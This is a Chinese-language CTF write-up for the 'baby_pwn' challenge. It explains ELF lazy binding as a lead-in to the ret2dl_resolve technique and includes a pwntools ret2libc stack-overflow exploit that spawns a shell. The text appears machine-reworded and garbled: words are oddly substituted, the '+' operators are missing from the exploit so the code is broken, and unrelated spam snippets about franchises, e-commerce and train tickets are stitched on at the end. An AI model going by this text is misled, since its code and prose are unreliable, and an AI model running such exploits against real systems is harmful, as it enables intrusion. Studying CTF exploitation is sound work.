简述:一道简易的pwn题引出来的一种结构比较复杂ROP *** —ret2dl_resolve。文中将从基本原理的视角,分析ELF文档及其其延迟时间关联的基本原理,深层次分析这一种技术性。
题目来源->
19年全国高校上信息安全性比赛:baby_pwn
题型剖析
查看ELF的版本,发觉是32位系统的
$file pwn
把程序流程丢进IDA剖析。发觉有比较突出的栈溢出。
搭建 offset=”A”*2c就能得到彻底的栈操纵。
一开始见到那么构造那么简易的题型,姓名还叫baby_pwn,认为遇到了新手入门题(眼白)
决策应用Ret2LIbc立即拿shell
当地认证:(ASLR is off)
----------------------exp1.py----------------------------
from pwn import *
#p=remote("da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com",33865)
p=process('')
libc=ELF('')
#gdb.attach(p)
#local
libc_base=0xf7dfd000
system_off=libc.symbols['system']
execve_off=libc.symbols['execve']
shell_off=next(libc.search('/bin/sh'))
execve_addr=libc_base execve_off
shell_address=libc_base shell_off
payload="A"*(0x30-4)
payload =p32(execve_addr)
payload =p32(0)
payload =p32(shell_address)
payload =p32(0)
payload =p32(0)
p=process('')
p.sendline(payload)
p.interactive()
当地取得了shell,可是远程控制外溢失败了。
可是也是在意料之中,国赛为什么会要我那么非常容易取得shell呢。
小结发觉,难题取决于->
1.当地调节是了解libc版本,虚拟服务器不清楚libc版本
2.即便 了解libc版本,能测算出execve和已经知道函数的偏位, *** 服务器开了ASLR务必用rop才可以测算出基详细地址。可是当地编码中却不会有write/puts那样的函数,却没有办法结构ROP链。
一开始唯一的念头是根据工程爆破法,强制工程爆破libc的基详细地址。(在已经知道libc版本状况下比较好完成。)可是最终都没有工程爆破出去。#之后巨头说成工程爆破syscall的部位,有时间去认证。
之后历经巨头指导,这类沒有结构ROP连接的基本函数,尽管沒有write/put函数来结构rop,可是可以根据一种称为ret2dl-resolve的技术性,来结构rop。遂去科学研究。
Ret2dl_resolve分析
Ret2dl_resolve实质上也是ROP,只不过是应用的是更为更底层的技术性:
ELF在动态链接载入的全过程中有一种延迟时间关联的体制,程序流程根据函数dl_runtime_resolve (link_map_obj, reloc_index)来开展对函数开展重精准定位。尽管重精准定位全过程很繁杂,可是最后還是借助符号表来明确导进函数,假如能在这个全过程中危害符号表的载入,就会有很有可能将随意函数重精准定位为大家必须的函数。
在学习培训这类运用技术性以前,必须把握以下几个方面,
1.务必要对ELF有一定的掌握。不然会难以了解。
2.基础ROP技术性,stack povit操纵栈帧 *** 。
把握好之上的基本,就要大家现在开始。
了解ELF
在这儿先分享一本书《程序员的自我修养》,里边对ELF和PE及其动态链接都是有十分深层次地分析。
本一些沒有细讲的一部分都能在这本书里找到答案。
更先大家必须把握一些指令,便捷学习培训ELF构造
$readelf -h -r pwn #-h查看头信息 -r查看重精准定位表
$objdump -s -d -h pwn #-s查看十六进制信息 -d 查看代码段反编译信息 -h查看段信息
剖析pwn文档
观查一下文件头:#$readelf -h pwn
开始的魔数(Magic)及其一些基础文档信息就先不要看。
首先看好多个与此次系统漏洞有关的数据信息。
由于段是大家此次科学研究的关键。
因此 先寻找Start of section headers部位,这一部位纪录了段表间距文件头偏位6320字节数。
节头尺寸为40字节数,一般相当于sizeof(Elf32_Shdr)
结头总数31,相当于ELF有着的段的总数。
了解延迟时间关联(PLT)
使我们在程序调试的情况下了解这一全过程。
$ objdump -d pwn | grep read #查看plt段中read的详细地址
08048390 read@plt>:
8048541: e8 4a fe ff ff call 8048390 read@plt>
gdb下中断点 b *0x8048390
之一次启用read函数:
进到read.plt,发觉自动跳转到ds:0x804a00c->事实上便是Got表中储放read函数的详细地址
$ objdump -R pwn #查看Got表
0804a00c R_386_JUMP_SLOT
一般来说GOT表详细地址储存的便是函数的详细地址,
可是为何之一次启用函数,程序流程却自动跳转到0x8048396呢?
查看一下GOT表的运行内存就很清晰了,这时的GOT表中沒有储放read的真正详细地址。
只是将程序流程调回去。(典型性的推卸责任?)
$ x/10xw 0x804a00c
0x804a00c: 0x08048396 0xf7ead270 0xf7e15540 0xf7e5d36
事实上当程序流程之一次启用这一函数的情况下,GOT表中都还没储放函数的详细地址。必须返plt回运用其开展重精准定位。
电脑黑客如何编写程序? 1、如何成为一个高级黑客|脚本,高手,攻击,编程,汇编,钻研,漏洞,黑客,入侵,程序…探测扫描?使用工具?脚本攻击?这些你都会么?会,好,你是个合格的入侵者了。现在撇开这些问题...
如今投资开一家蛋糕加盟店已经成为了创业的主流,但烘焙加盟市场品牌繁多,鱼龙混杂,如果是非业内人士,很难明辨真伪。这时,选择一个口碑好的大品牌就可以帮我们解决后顾之忧,做到创业无顾虑。今天就为大家介绍一...
快手之前赚钱只有打赏,模式单一。但是,快手在2018年8月份开始走电商路线,有带货能力的主播开始卖货赚钱,对于把粉丝引流到微信号卖货,快手也没有完全禁止。 快手现在大力推进电商,先后推出了一系列变现产...
如今加盟创业之风正在流行,许多人都想要加盟一个好的加盟项目,从而辅佐本身实现本身的人生抱负,可是呢,各人都不知道该如何举办选择。此刻我就来为各人推荐一下大差异烤鱼加盟项目吧!大差异烤鱼加盟项目在市场上...
进入主题以前,请大家腾出几分钟时间,先阅读括号内的超链接的另一篇文章(Clubs预定艺人新模式 让一本万利再度成为可能)。开题之际,写手有必要再阐述一则与正文有关的寄语或前言,关于标题中提及的“详解”...
每年一到春节,火车票都会提前开启预售。临时买票是买不到的,所以旅客需要清楚知道春运何时开始,何时结束。12月24日,有关部门发布消息,2021年春运将从1月28开始,3月8日结束,共计40天。而为了做...